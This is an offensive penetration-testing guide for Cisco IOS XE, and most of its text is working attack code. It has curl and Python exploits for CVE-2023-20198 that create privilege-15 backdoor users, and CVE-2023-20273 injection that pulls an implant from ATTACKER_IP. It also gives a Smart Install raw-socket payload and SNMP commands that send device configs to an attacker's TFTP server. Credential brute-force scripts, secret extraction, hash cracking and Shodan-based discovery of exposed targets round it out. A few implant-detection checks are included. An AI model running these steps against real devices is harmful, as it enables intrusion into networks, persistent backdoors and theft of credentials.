Cisco IOS XE is the operating system powering Cisco's enterprise switching and routing portfolio — Catalyst switches, ASR routers, CSR 1000v, and Cisco SD-WAN edge devices. CVE-2023-20198 (CVSS 10.0) is an unauthenticated privilege escalation in the IOS XE HTTP/HTTPS WebUI that allows a remote, unauthenticated attacker to create a new local user account with privilege level 15 (full administrative access). Chained with CVE-2023-20273 (CVSS 7.2), a WebUI command injection, threat actors deployed a persistent Lua implant on tens of thousands of internet-exposed devices in October 2023 — the largest mass exploitation of a Cisco vulnerability on record. This guide covers the complete authorized IOS XE penetration testing methodology.
IOS XE separates the control plane (running on a Linux kernel) from the data plane (ASIC-accelerated packet forwarding), which means the operating system exposes several modern management interfaces alongside legacy protocols. This diversity of services represents a wide attack surface across multiple ports and protocols.
cisco/cisco on factory-default devices.| Service | Default Port | Protocol | Primary Attack Surface |
|---|---|---|---|
| WebUI | 80 / 443 | HTTP/HTTPS | CVE-2023-20198, CVE-2023-20273, default credentials |
| RESTCONF | 443 | HTTPS + YANG | Credential extraction, config dump, username enumeration |
| NETCONF | 830 | SSH/XML | YANG model enumeration, config extraction |
| SSH | 22 | SSH | Default credentials, key reuse, brute force |
| SNMP | 161 UDP | SNMPv1/v2c/v3 | Community string guessing, config extraction via MIBs |
| Telnet | 23 | TCP clear-text | Default credentials, credential sniffing |
| Smart Install | 4786 | TCP | Unauthenticated config theft, arbitrary config write |
| gRPC/gNMI | 57400 | gRPC/TLS | Weak auth, config manipulation |
Cisco IOS XE leaves distinctive fingerprints across HTTP, SNMP, and SSH banners. Accurate version identification is essential — the CVE-2023-20198 vulnerability affects specific IOS XE versions, and many other CVEs are version-gated. Always fingerprint before attempting exploitation.
# Comprehensive IOS XE port sweep
nmap -sV -sC -p 22,23,80,443,830,4786,161,57400 \
--script=ssh-hostkey,http-title,snmp-info,ssl-cert \
-oA ios-xe-scan TARGET_IP
# HTTP WebUI banner — IOS XE devices serve a recognizable title
nmap -p 80,443 --script http-title,http-server-header TARGET_IP
# UDP scan for SNMP and IKE
nmap -sU -p 161,500,4500 TARGET_IP
# Smart Install discovery — TCP 4786 open = likely vulnerable SMIC
nmap -p 4786 --open -sV TARGET_IP
# NETCONF on SSH port 830
nmap -p 830 -sV --script=ssh2-enum-algos TARGET_IP
# Cisco IOS XE WebUI serves a distinctive banner and login page
# HTTP banner fingerprint
curl -sk http://TARGET/ -I | grep -i "server\|cisco\|ios"
curl -sk https://TARGET/ -I | grep -i "server\|cisco\|ios"
# WebUI login page fingerprint — "Cisco IOS XE Software" appears in page title
curl -sk https://TARGET/ | grep -i "Cisco IOS XE\|webui\|Catalyst\|CSR"
# Version disclosure via logoutconfirm endpoint (pre-auth, no login required)
# This endpoint reveals the exact IOS XE version string
curl -sk "https://TARGET/webui/logoutconfirm.html?logon_hash=1" | grep -i "version\|ios\|xe"
# Example response: Cisco IOS XE Software, Version 17.9.4a
# Alternative: HTTP title via curl
curl -sk https://TARGET/ | grep -i ""
# Typical: Cisco IOS XE Software
# Full HTTP header dump for fingerprinting
curl -sk -D - https://TARGET/ -o /dev/null
# Check for WebUI enabled on non-standard paths
for PATH in "/" "/webui/" "/index.html" "/login.html" "/api/v1/" "/restconf/"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" https://TARGET$PATH)
echo "$STATUS https://TARGET$PATH"
done
# Shodan dork — internet-exposed Cisco IOS XE WebUI
# "Cisco IOS XE Software" http.title
# port:443 "Cisco IOS XE" http.html
# Using shodan CLI for bulk discovery
shodan search 'title:"Cisco IOS XE Software"' --fields ip_str,port,org,version \
--separator , > ios-xe-targets.csv
# Filter to specific IOS XE versions affected by CVE-2023-20198
# Vulnerable versions: 16.1.1 through 17.9.4 (before 17.9.4a patch)
shodan search 'title:"Cisco IOS XE Software" ios:"17.9"' --fields ip_str,port
# FOFA query equivalent
# title="Cisco IOS XE Software" && port="443"
# Banner-based fingerprint via masscan then curl
masscan -p443,80 10.0.0.0/8 --rate=1000 -oL ios-xe-candidates.txt
while read line; do
IP=$(echo $line | awk '{print $4}')
RESULT=$(curl -sk --max-time 3 "https://$IP/" | grep -l "IOS XE")
[ -n "$RESULT" ] && echo "$IP confirmed IOS XE"
done < ios-xe-candidates.txt
# SSH banner reveals IOS XE version before authentication
ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 admin@TARGET 2>&1 | head -5
# Example banner: Cisco IOS XE Software, Version 17.9.4a / Unauthorized access prohibited
# Using nmap SSH scripts
nmap -p 22 --script ssh-hostkey,ssh2-enum-algos,banner TARGET_IP
# netcat banner grab
nc -w 5 TARGET 22 2>/dev/null | head -3
# SNMP sysDescr — most reliable version fingerprint without credentials
snmpget -v2c -c public TARGET_IP 1.3.6.1.2.1.1.1.0
# Returns: Cisco IOS XE Software, Version 17.09.04a, RELEASE SOFTWARE (fc3)
# Technical Support: http://www.cisco.com/techsupport
# Copyright (c) 1986-2023 by Cisco Systems, Inc.
# Compiled Tue 07-Nov-23 09:49 by mcpre
CVE-2023-20198 (Cisco advisory cisco-sa-20231016-ios-xe-web-ui-priv-esc, CVSS 10.0) is an unauthenticated privilege escalation in the Cisco IOS XE WebUI. A remote, unauthenticated attacker can send a crafted HTTP POST request to /webui/logoutconfirm.html to create a new local user account with privilege level 15 — the highest IOS XE privilege level, equivalent to full administrative access. The vulnerability was actively exploited in the wild beginning in September 2023, with Cisco's Talos threat intelligence team detecting mass exploitation by mid-October 2023. At peak, over 40,000 internet-exposed IOS XE devices had been compromised.
ip http server or ip http secure-server)ip http server or ip http secure-server configured (default in many IOS XE deployment templates)# The vulnerability allows unauthenticated creation of a privilege-15 local user
# via a POST request to the WebUI logoutconfirm endpoint.
# Step 1: Verify WebUI is reachable and fingerprint the version
curl -sk "https://TARGET/webui/logoutconfirm.html?logon_hash=1"
# IOS XE version will appear in the HTTP response body
# Step 2: Confirm the WebUI login endpoint accepts POST
curl -sk -I -X POST "https://TARGET/webui/logoutconfirm.html"
# HTTP 200 or 302 indicates the endpoint exists
# Step 3: Create a privilege-15 backdoor user (CVE-2023-20198 PoC)
# The parameter injection creates a local user in the IOS XE configuration
curl -sk -X POST "https://TARGET/webui/logoutconfirm.html?logon_hash=1" \
--data "username=backdoor&password=B4ckd00r!23&privilege=15" \
-H "Content-Type: application/x-www-form-urlencoded"
# Alternative POST format observed in threat actor campaigns
curl -sk -X POST "https://TARGET/webui/logoutconfirm.html" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "username=cisco_tac_admin&password=cisco123&privilege=15"
# Step 4: Verify the user was created by attempting WebUI login
curl -sk -c cookies.txt -X POST "https://TARGET/webui/j_security_check" \
-d "j_username=backdoor&j_password=B4ckd00r!23" \
-H "Content-Type: application/x-www-form-urlencoded" \
-L
# Redirect to /webui/ dashboard = successful login with new account
# Step 5: Verify via RESTCONF with new credentials
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native/username" \
-u "backdoor:B4ckd00r!23" \
-H "Accept: application/yang-data+json"
# Response lists all configured local users including the newly created backdoor account
# Step 6: SSH access with new privilege-15 credentials
ssh -o StrictHostKeyChecking=no backdoor@TARGET
# Expected: IOS XE privileged exec prompt (TARGET#)
#!/usr/bin/env python3
# CVE-2023-20198 - Cisco IOS XE WebUI Unauthenticated Privilege Escalation
# For authorized penetration testing only
import requests
import sys
import urllib3
urllib3.disable_warnings()
def check_cve_2023_20198(target, backdoor_user="pentest_admin", backdoor_pass="PentestP@ss1"):
base_url = f"https://{target}"
session = requests.Session()
session.verify = False
# Step 1: Fingerprint
try:
r = session.get(f"{base_url}/webui/logoutconfirm.html?logon_hash=1", timeout=10)
if "IOS XE" in r.text or "Cisco" in r.text:
print(f"[+] Confirmed Cisco IOS XE WebUI at {target}")
# Extract version
for line in r.text.splitlines():
if "Version" in line:
print(f"[+] {line.strip()}")
break
else:
print(f"[-] Not identified as IOS XE WebUI")
return False
except Exception as e:
print(f"[!] Connection error: {e}")
return False
# Step 2: Attempt user creation
payload = {
"username": backdoor_user,
"password": backdoor_pass,
"privilege": "15"
}
try:
r = session.post(
f"{base_url}/webui/logoutconfirm.html?logon_hash=1",
data=payload,
timeout=10
)
print(f"[*] POST response status: {r.status_code}")
except Exception as e:
print(f"[!] POST error: {e}")
return False
# Step 3: Verify via RESTCONF
try:
r = session.get(
f"{base_url}/restconf/data/Cisco-IOS-XE-native:native/username",
auth=(backdoor_user, backdoor_pass),
headers={"Accept": "application/yang-data+json"},
timeout=10
)
if r.status_code == 200:
print(f"[CRITICAL] CVE-2023-20198 CONFIRMED: User '{backdoor_user}' created with privilege 15")
print(f"[+] RESTCONF authenticated as {backdoor_user}")
return True
else:
print(f"[-] RESTCONF returned {r.status_code} — user creation may have failed")
return False
except Exception as e:
print(f"[!] RESTCONF verification error: {e}")
return False
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "TARGET_IP"
check_cve_2023_20198(target)
/webui/logoutconfirm.html?logon_hash=1 for version strings, then correlating against a list of patched versions.
CVE-2023-20273 (CVSS 7.2) is a command injection vulnerability in the Cisco IOS XE WebUI that was chained with CVE-2023-20198 by threat actors. After creating a privilege-15 user via CVE-2023-20198, attackers authenticated to the WebUI and exploited the command injection to execute arbitrary commands in the context of the underlying Linux OS (not the IOS XE CLI), enabling them to deploy a persistent Lua-based implant that survived device reboots.
# Prerequisite: valid privilege-15 WebUI session (e.g., obtained via CVE-2023-20198)
# Step 1: Authenticate to WebUI and capture session cookie
curl -sk -c ios_xe_session.txt -X POST "https://TARGET/webui/j_security_check" \
-d "j_username=backdoor&j_password=B4ckd00r!23" \
-H "Content-Type: application/x-www-form-urlencoded" \
-L -o /dev/null
# Step 2: Verify authenticated session
curl -sk -b ios_xe_session.txt "https://TARGET/webui/" | grep -i "logout\|dashboard\|home"
# Step 3: Exploit CVE-2023-20273 — command injection in WebUI diagnostic/guestshell endpoint
# The injection point is in the "dev" parameter of the WebUI interface configuration
# Bash metacharacters are not sanitized before passing to the underlying Linux shell
# Inject command execution via WebUI VLAN/interface configuration endpoint
curl -sk -b ios_xe_session.txt -X POST "https://TARGET/webui/res/index.html" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "cmd=show+version%3B+id%3B+whoami"
# GuestShell injection path (observed in threat actor TTPs)
# GuestShell is a Linux container running within IOS XE — provides full Linux env
curl -sk -b ios_xe_session.txt "https://TARGET/webui/guestshell?cmd=id"
# The threat actor implant was installed via the following observed command sequence:
# (reconstructed from Cisco Talos analysis of CVE-2023-20273 exploitation)
curl -sk -b ios_xe_session.txt -X POST "https://TARGET/webui/res/index.html" \
--data "cmd=copy+http://ATTACKER_IP/implant.lua+flash:/implant.lua"
# Verify implant presence on device flash
curl -sk -b ios_xe_session.txt "https://TARGET/webui/res/index.html" \
--data "cmd=dir+flash:"
# The Lua implant deployed in CVE-2023-20273 exploitation listens on a specific port
# and responds to HTTP GET requests with a special header/cookie combination
# Detection query — check for the implant's HTTP backdoor
# The implant filters based on the Cookie header value
curl -sk "https://TARGET/webui/%25" \
-H "Cookie: Authorization=IMPLANT_CHECK_VALUE"
# Observed implant detection methodology (Cisco Talos)
# The implant exposes a web shell accessible only with correct Authorization cookie
# Normal response (no implant): HTTP 404
# Implant present: HTTP 200 with command execution output
# Check for implant presence via IOS XE show commands (requires SSH access)
ssh admin@TARGET "show platform software file flash: | include lua"
ssh admin@TARGET "more flash:/implant.lua"
# If SSH available, check for unauthorized users created by CVE-2023-20198
ssh admin@TARGET "show running-config | include ^username"
# Look for unexpected usernames with privilege 15
# Check for unauthorized EEM (Embedded Event Manager) scripts — used for persistence
ssh admin@TARGET "show running-config | section event manager"
# Check active HTTP sessions — look for unusual source IPs accessing WebUI
ssh admin@TARGET "show ip http server session all"
# Enumerate all local users and their privilege levels
ssh admin@TARGET "show running-config | include username .* privilege"
Cisco Smart Install is a zero-touch provisioning protocol that runs on TCP port 4786. It was designed for automated switch configuration deployment in campus environments. The critical flaw: Smart Install Client (SMIC) devices accept unauthenticated configuration commands from any IP address that speaks the Smart Install Director protocol. This allows an unauthenticated attacker on the network to read the full device configuration, write a new configuration (including adding users or changing passwords), or trigger a reload with a malicious config.
# Discover Smart Install clients (SMIC) — TCP 4786 open
nmap -p 4786 --open -sV --script banner TARGET_SUBNET/24
# Mass discovery
masscan -p4786 10.0.0.0/8 --rate=500
# cisco-smart-install-exploit.py (publicly available PoC)
# SMIC devices respond to Smart Install Director protocol without authentication
python3 cisco-smart-install-exploit.py -t TARGET_IP
# Using the tool to dump configuration (unauthenticated)
python3 cisco-smart-install-exploit.py -t TARGET_IP --action dump-config \
--tftp-server ATTACKER_IP
# Metasploit module for Smart Install
msfconsole -q
msf6 > use auxiliary/scanner/cisco/cisco_smart_install
msf6 auxiliary(cisco_smart_install) > set RHOSTS TARGET_SUBNET/24
msf6 auxiliary(cisco_smart_install) > run
# Returns: list of vulnerable SMIC devices with version info
# Manual Smart Install config exfiltration via TFTP
# Send a crafted Smart Install packet instructing the device to TFTP-copy its config
python3 << 'EOF'
import socket
import struct
# Smart Install Director packet — instructs SMIC to copy running-config to TFTP server
# This is a simplified representation of the exploit primitive
ATTACKER_TFTP_IP = "192.168.1.100"
TARGET_IP = "TARGET_IP_HERE"
# Smart Install exploit payload format
payload = b"\x00\x00\x00\x01" # Magic bytes
payload += b"\x00\x00\x00\x03" # UPGRADE_CONF opcode
payload += ATTACKER_TFTP_IP.encode() + b"\x00"
payload += b"startup-config\x00"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((TARGET_IP, 4786))
sock.send(struct.pack(">I", len(payload)) + payload)
response = sock.recv(4096)
print(f"Response: {response.hex()}")
sock.close()
EOF
# Vstack client enumeration — identify vstack-configured switches
# On a compromised Cisco device, enumerate vstack peers
ssh admin@UPSTREAM-SWITCH "show vstack neighbors"
ssh admin@UPSTREAM-SWITCH "show vstack director"
ssh admin@UPSTREAM-SWITCH "show vstack clients"
# After obtaining the running-config via Smart Install TFTP exfiltration,
# an attacker can modify it and push it back to the device
# Step 1: Review extracted config for sensitive data
grep -i "username\|password\|secret\|community\|tacacs\|radius\|snmp" running-config.txt
# Step 2: Modify config to add a backdoor user
cat >> modified-config.txt << 'ENDCONFIG'
username backdoor privilege 15 secret 5 $1$mERr$abc123PasswordHashHere
ip http server
ip http authentication local
ENDCONFIG
# Step 3: Push modified config back via Smart Install
python3 cisco-smart-install-exploit.py -t TARGET_IP --action push-config \
--config modified-config.txt --tftp-server ATTACKER_IP
# Step 4: Verify access with new credentials
ssh backdoor@TARGET_IP
# Or via RESTCONF:
curl -sk "https://TARGET_IP/restconf/data/Cisco-IOS-XE-native:native" \
-u "backdoor:BackdoorPass" \
-H "Accept: application/yang-data+json" | python3 -m json.tool
SNMP (Simple Network Management Protocol) is ubiquitous on Cisco IOS XE devices. SNMPv1 and SNMPv2c use plaintext "community strings" as the sole authentication mechanism. Default community strings (public for read-only, private for read-write) are left unchanged in a significant proportion of production deployments. With read-only SNMP access, an attacker can dump the complete device configuration via the CISCO-CONFIG-COPY-MIB. With read-write access, arbitrary configuration changes are possible.
# Enumerate community strings with onesixtyone
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt TARGET_IP
onesixtyone -c /usr/share/wordlists/metasploit/snmp_default_pass.txt TARGET_IP
# Common Cisco community strings to test
for COMMUNITY in "public" "private" "cisco" "Cisco" "router" "snmp" \
"read" "write" "monitor" "admin" "manager" "ILMI"; do
RESULT=$(snmpget -v2c -c $COMMUNITY -t 2 -r 1 TARGET_IP 1.3.6.1.2.1.1.1.0 2>/dev/null)
[ -n "$RESULT" ] && echo "[+] Valid community: '$COMMUNITY' — $RESULT"
done
# Metasploit SNMP community brute force
msfconsole -q
msf6 > use auxiliary/scanner/snmp/snmp_login
msf6 auxiliary(snmp_login) > set RHOSTS TARGET_IP
msf6 auxiliary(snmp_login) > set THREADS 10
msf6 auxiliary(snmp_login) > run
# Full SNMP walk — enumerate all OIDs
snmpwalk -v2c -c public TARGET_IP 1.3.6.1 -O e 2>/dev/null | tee snmp-full-walk.txt
# Key Cisco OIDs for security assessment
# System description (version, model)
snmpget -v2c -c public TARGET_IP 1.3.6.1.2.1.1.1.0
# Interface table (network topology)
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1.2.2.1
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1.4.20 # IP address table
# ARP table (discover hosts behind the router)
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1.4.22.1
# Routing table
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.2.1.4.24
# Cisco enterprise OIDs — running config via SNMP (CISCO-CONFIG-COPY-MIB)
# This MIB allows copying running-config to a TFTP server
snmpset -v2c -c private TARGET_IP \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1 i 1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1 i 4 \
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1 i 1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1 a ATTACKER_TFTP_IP \
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1 s "running-config.txt" \
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1 i 1
# The device will TFTP-copy its running-config to ATTACKER_TFTP_IP
# Read SNMP-accessible config data directly (Cisco SNMP Config MIB)
# Gets the IOS running config line by line via SNMP
snmpwalk -v2c -c public TARGET_IP 1.3.6.1.4.1.9.2.1.54 # config line MIB
# SNMPv3 requires username + authentication/privacy credentials
# Default Cisco SNMPv3 users to test
for USER in "admin" "cisco" "snmpv3user" "default" "initial" "v3user"; do
# Test with MD5 auth, no privacy
snmpwalk -v3 -u $USER -l authNoPriv -a MD5 -A "cisco123" TARGET_IP \
1.3.6.1.2.1.1.1.0 2>/dev/null
# Test with SHA auth + AES priv
snmpwalk -v3 -u $USER -l authPriv -a SHA -A "cisco123" -x AES -X "cisco123" \
TARGET_IP 1.3.6.1.2.1.1.1.0 2>/dev/null
done
# Metasploit SNMPv3 enumeration
msf6 > use auxiliary/scanner/snmp/snmp_enumusers
msf6 auxiliary(snmp_enumusers) > set RHOSTS TARGET_IP
msf6 auxiliary(snmp_enumusers) > run
# Attempts to enumerate valid SNMPv3 user names via error differentiation
# Enumerate SNMPv3 engineID (leaks device identifier even without valid credentials)
nmap -sU -p 161 --script snmp-info TARGET_IP
IOS XE 16.3+ supports RESTCONF (RFC 8040) and NETCONF (RFC 6241) for programmatic configuration management using YANG data models. These interfaces provide structured access to the full device configuration — including plaintext or weakly-hashed credentials stored in the configuration database. RESTCONF uses HTTP Basic Authentication (username/password over HTTPS); NETCONF uses SSH transport on TCP 830.
# Verify RESTCONF is enabled
curl -sk "https://TARGET/restconf/" -u "admin:cisco" \
-H "Accept: application/yang-data+json" | python3 -m json.tool
# Expected: RESTCONF root resource listing
# Enumerate available YANG modules (reveals device capabilities)
curl -sk "https://TARGET/restconf/data/ietf-yang-library:modules-state" \
-u "admin:cisco" \
-H "Accept: application/yang-data+json" | python3 -m json.tool | grep '"name"'
# Extract the native IOS XE configuration (full running config equivalent)
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native" \
-u "admin:cisco" \
-H "Accept: application/yang-data+json" | python3 -m json.tool
# Extract all configured local usernames (CRITICAL — reveals all local accounts)
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native/username" \
-u "admin:cisco" \
-H "Accept: application/yang-data+json" | python3 -m json.tool
# Response includes: username, privilege level, password hash type and value
# Example output showing password hashes:
# {
# "Cisco-IOS-XE-native:username": [
# {"name": "admin", "privilege": 15, "password": {"encryption": "5", "password": "$1$abc$xyz..."}},
# {"name": "cisco", "privilege": 1, "secret": {"encryption": "9", "secret": "$9$..."}}
# ]
# }
# Extract SNMP community strings
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native/snmp-server" \
-u "admin:cisco" \
-H "Accept: application/yang-data+json" | python3 -m json.tool
# Extract TACACS+ server configuration including shared keys
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native/tacacs" \
-u "admin:cisco" \
-H "Accept: application/yang-data+json" | python3 -m json.tool
# Extract RADIUS server configuration including shared secrets
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native/radius" \
-u "admin:cisco" \
-H "Accept: application/yang-data+json" | python3 -m json.tool
# Extract VPN/IPsec preshared keys
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native/crypto/isakmp" \
-u "admin:cisco" \
-H "Accept: application/yang-data+json" | python3 -m json.tool
# Bearer token extraction — RESTCONF supports token-based auth on some versions
# Obtain a token via the auth endpoint
curl -sk -X POST "https://TARGET/restconf/token" \
-u "admin:cisco" \
-H "Content-Type: application/yang-data+json" \
-d '{"ietf-restconf:input":{"username":"admin","password":"cisco"}}' | python3 -m json.tool
# NETCONF over SSH on port 830
# Test connectivity and capability exchange
ssh -p 830 -o StrictHostKeyChecking=no admin@TARGET \
-s netconf 2>/dev/null << 'EOF'
urn:ietf:params:netconf:base:1.0
]]>]]>
EOF
# Response lists all supported NETCONF capabilities and YANG models
# Python netconf-client to enumerate configuration
pip install ncclient 2>/dev/null
python3 << 'EOF'
from ncclient import manager
import xmltodict, json
try:
m = manager.connect(
host="TARGET",
port=830,
username="admin",
password="cisco",
hostkey_verify=False,
device_params={"name": "iosxe"}
)
# Get running configuration
config = m.get_config(source="running")
data = xmltodict.parse(config.xml)
# Extract usernames and secrets
native = data.get("rpc-reply", {}).get("data", {}).get("native", {})
users = native.get("username", [])
if isinstance(users, dict):
users = [users]
for user in users:
print(f"User: {user.get('@name', user.get('name'))}, Priv: {user.get('privilege')}")
except Exception as e:
print(f"Error: {e}")
EOF
/restconf/data/Cisco-IOS-XE-native:native/username endpoint returns password hashes with their encryption type identifier. Type 5 ($1$) is MD5-crypt — crackable with hashcat mode 500. Type 7 is Cisco's proprietary reversible XOR encoding — trivially decoded with any "Cisco type 7 decoder." Type 8 ($8$) is PBKDF2-SHA256 and type 9 ($9$) is scrypt — both are computationally expensive to crack. Always note the encryption type during extraction to prioritize cracking effort.
Telnet (TCP 23) transmits all data including credentials in clear text and should have been eliminated from production environments years ago — but brownfield Cisco deployments frequently still have it enabled. IOS XE factory defaults include cisco/cisco as the console/vty credential pair, and many organizations fail to rotate these during initial provisioning. Telnet access also enables passive credential harvesting via network sniffing on any shared segment.
# Check if telnet is enabled
nmap -p 23 -sV TARGET_IP
nc -w 3 TARGET_IP 23 # Expect "User Access Verification" banner
# Default Cisco credentials to test
# Factory defaults: cisco/cisco or no password
# Common: admin/admin, admin/cisco, admin/password, router/router
# Automated telnet login test
python3 << 'EOF'
import telnetlib
import time
TARGET = "TARGET_IP"
CREDENTIALS = [
("cisco", "cisco"),
("admin", "admin"),
("admin", "cisco"),
("admin", "password"),
("admin", ""),
("", ""),
("cisco", ""),
]
for username, password in CREDENTIALS:
try:
tn = telnetlib.Telnet(TARGET, 23, timeout=5)
tn.read_until(b"Username:", timeout=3)
tn.write(username.encode() + b"\n")
tn.read_until(b"Password:", timeout=3)
tn.write(password.encode() + b"\n")
output = tn.read_until(b">", timeout=3).decode(errors="replace")
if ">" in output or "#" in output:
print(f"[+] SUCCESS: {username}/{password}")
# Test enable password
tn.write(b"enable\n")
tn.read_until(b"Password:", timeout=3)
tn.write(password.encode() + b"\n")
priv_out = tn.read_until(b"#", timeout=3).decode(errors="replace")
if "#" in priv_out:
print(f"[+] Enable access gained with: {password}")
tn.close()
except Exception as e:
pass # Connection refused or timeout — skip
EOF
# Privilege level escalation testing
# IOS XE has 16 privilege levels (0-15)
# Level 1 = User EXEC (limited show commands)
# Level 15 = Privileged EXEC (full access, equivalent to root)
# Test enable password after gaining level-1 access
echo -e "enable\ncisco\nshow running-config\nexit" | nc -w 5 TARGET_IP 23
# Passive credential capture on shared network segment
# If on the same L2 segment, sniff telnet credentials
tcpdump -i eth0 -w telnet_capture.pcap 'tcp port 23 and host TARGET_IP'
# Then extract credentials
tcpflow -r telnet_capture.pcap
grep -a "Password\|Username\|enable" captured_sessions.txt
# After gaining user-level access (privilege 1), test enable password
# Common enable passwords matching the vty password
# IOS XE show version — available at privilege level 1
show version | grep "IOS XE\|Version\|uptime\|processor"
# Check current privilege level
show privilege
# "Current privilege level is 1" = user exec; "15" = full admin
# Privilege level 15 command injection via misconfigured parser view
# If AAA authorization is not configured, 'enable' may grant level 15 without password
enable 15
# Check for IOS XE parser views (alternative to privilege levels)
show parser view all # requires privilege 15
# If TACACS+ authorization is broken/unreachable, IOS XE may fall back to local auth
# Test by disconnecting the TACACS+ server (if network position allows)
# Then re-attempt with any local credential
The IOS XE running configuration is the most sensitive artifact on the device — it contains all local user credentials (as hashed values), SNMP community strings, TACACS+/RADIUS shared secrets, VPN pre-shared keys, and BGP authentication passwords. Multiple access paths lead to the running configuration, and different password hash types have vastly different cracking difficulty.
# Method 1: Direct CLI access (SSH/Telnet with privilege 15)
ssh admin@TARGET "show running-config" > running-config.txt
# Method 2: RESTCONF full config dump
curl -sk "https://TARGET/restconf/data/Cisco-IOS-XE-native:native" \
-u "admin:cisco" \
-H "Accept: application/yang-data+json" > ios-xe-config.json
# Method 3: SNMP config copy to TFTP (requires read-write community)
# Start a TFTP listener on attacker machine
python3 -m tftpy.TftpServer /tmp/tftp-root &
# Trigger config copy via SNMP
snmpset -v2c -c private TARGET_IP \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1 i 1 \ # ccCopyProtocol = tftp(1)
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1 i 4 \ # ccCopySourceFileType = runningConfig(4)
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1 i 1 \ # ccCopyDestFileType = networkFile(1)
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1 a ATTACKER_IP \ # ccCopyServerAddress
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1 s "stolen-config.txt" \ # ccCopyFileName
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1 i 1 # ccCopyEntryRowStatus = active(1)
# Method 4: Smart Install protocol (unauthenticated — see section 5)
# Method 5: NETCONF get-config RPC
# (covered in RESTCONF/NETCONF section)
# Extract all password-related lines from running-config
grep -E "username|enable|password|secret|community|key" running-config.txt
# IOS XE password types:
# Type 0 = plaintext (no encryption) — directly readable
# Type 7 = Cisco proprietary reversible XOR — trivially decoded
# Type 5 = MD5-crypt ($1$) — crack with hashcat mode 500
# Type 8 = PBKDF2-SHA256 ($8$) — crack with hashcat mode 9200
# Type 9 = scrypt ($9$) — crack with hashcat mode 9300 (slow)
# Example config lines:
# username admin privilege 15 secret 5 $1$mERr$abc123hashvalue
# enable secret 5 $1$mERr$def456hashvalue
# username cisco privilege 1 password 7 14141B180F0B
# snmp-server community public RO
# Type 7 decode — multiple tools available
# Cisco type 7 is XOR with a fixed key — reversible without brute force
python3 << 'EOF'
def decode_type7(encoded):
xlat = [
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53,
0x55, 0x42
]
seed = int(encoded[:2])
chars = [int(encoded[i:i+2], 16) for i in range(2, len(encoded), 2)]
return "".join(chr(chars[i] ^ xlat[(seed + i) % 26]) for i in range(len(chars)))
# Example: decode type 7 password from config
type7_hash = "14141B180F0B"
print(f"Decoded: {decode_type7(type7_hash)}")
EOF
# Type 5 (MD5-crypt) cracking with hashcat
# Extract the hash: $1$mERr$abc123hashvalue
echo '$1$mERr$abc123hashvalue' > type5_hashes.txt
hashcat -m 500 type5_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# Type 8 (PBKDF2-SHA256) cracking — much slower
echo '$8$mSoLIJ6$OOAMQRlfQwh2+LklJFPkFKN2yJ7LqFUxijE8EJjv5Jk' > type8_hashes.txt
hashcat -m 9200 type8_hashes.txt /usr/share/wordlists/rockyou.txt
# Type 9 (scrypt) — computationally expensive, GPU-accelerated
echo '$9$2MeSimuRhyBEVk$wG/i3KcQfGNc7kPSk3S.R3A3I0lT7.Kkc.YVOM97K2' > type9_hashes.txt
hashcat -m 9300 type9_hashes.txt /usr/share/wordlists/rockyou.txt
# John the Ripper alternative for IOS XE hashes
john --format=md5crypt type5_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Extract VPN pre-shared keys (stored under crypto isakmp key / crypto map)
grep -A2 "crypto isakmp key\|pre-shared-key" running-config.txt
grep -A3 "crypto map\|tunnel protection" running-config.txt
# Extract BGP MD5 authentication passwords
grep "neighbor .* password" running-config.txt
Enterprise IOS XE deployments almost universally integrate with TACACS+ (Cisco ACS/ISE) or RADIUS for centralized authentication, authorization, and accounting (AAA). The shared secrets used by these protocols are stored in the IOS XE configuration and are extractable via any configuration access method. These secrets can be used to forge TACACS+/RADIUS authentication packets or to decrypt captured authentication sessions.
# Extract TACACS+ server config and shared key from running-config
grep -A5 "tacacs-server\|tacacs server\|ip tacacs" running-config.txt
# Example output:
# tacacs server ISE-PRIMARY
# address ipv4 10.1.1.100
# key 7 13061E010803557878 <-- type 7 encoded key (trivially decoded)
# timeout 5
# Decode type 7 TACACS+ key (use decode_type7 function from previous section)
# "13061E010803557878" decodes to the actual shared secret
# Extract RADIUS server config and shared secret
grep -A5 "radius-server\|radius server\|ip radius" running-config.txt
# Example:
# radius server ISE-RADIUS
# address ipv4 10.1.1.101 auth-port 1812 acct-port 1813
# key 7 045802150C2E1D1C09 <-- type 7 encoded
# With the TACACS+ shared secret, test using tac-plus client
# Install: apt install libpam-tacplus
# Test authentication request to TACACS+ server directly
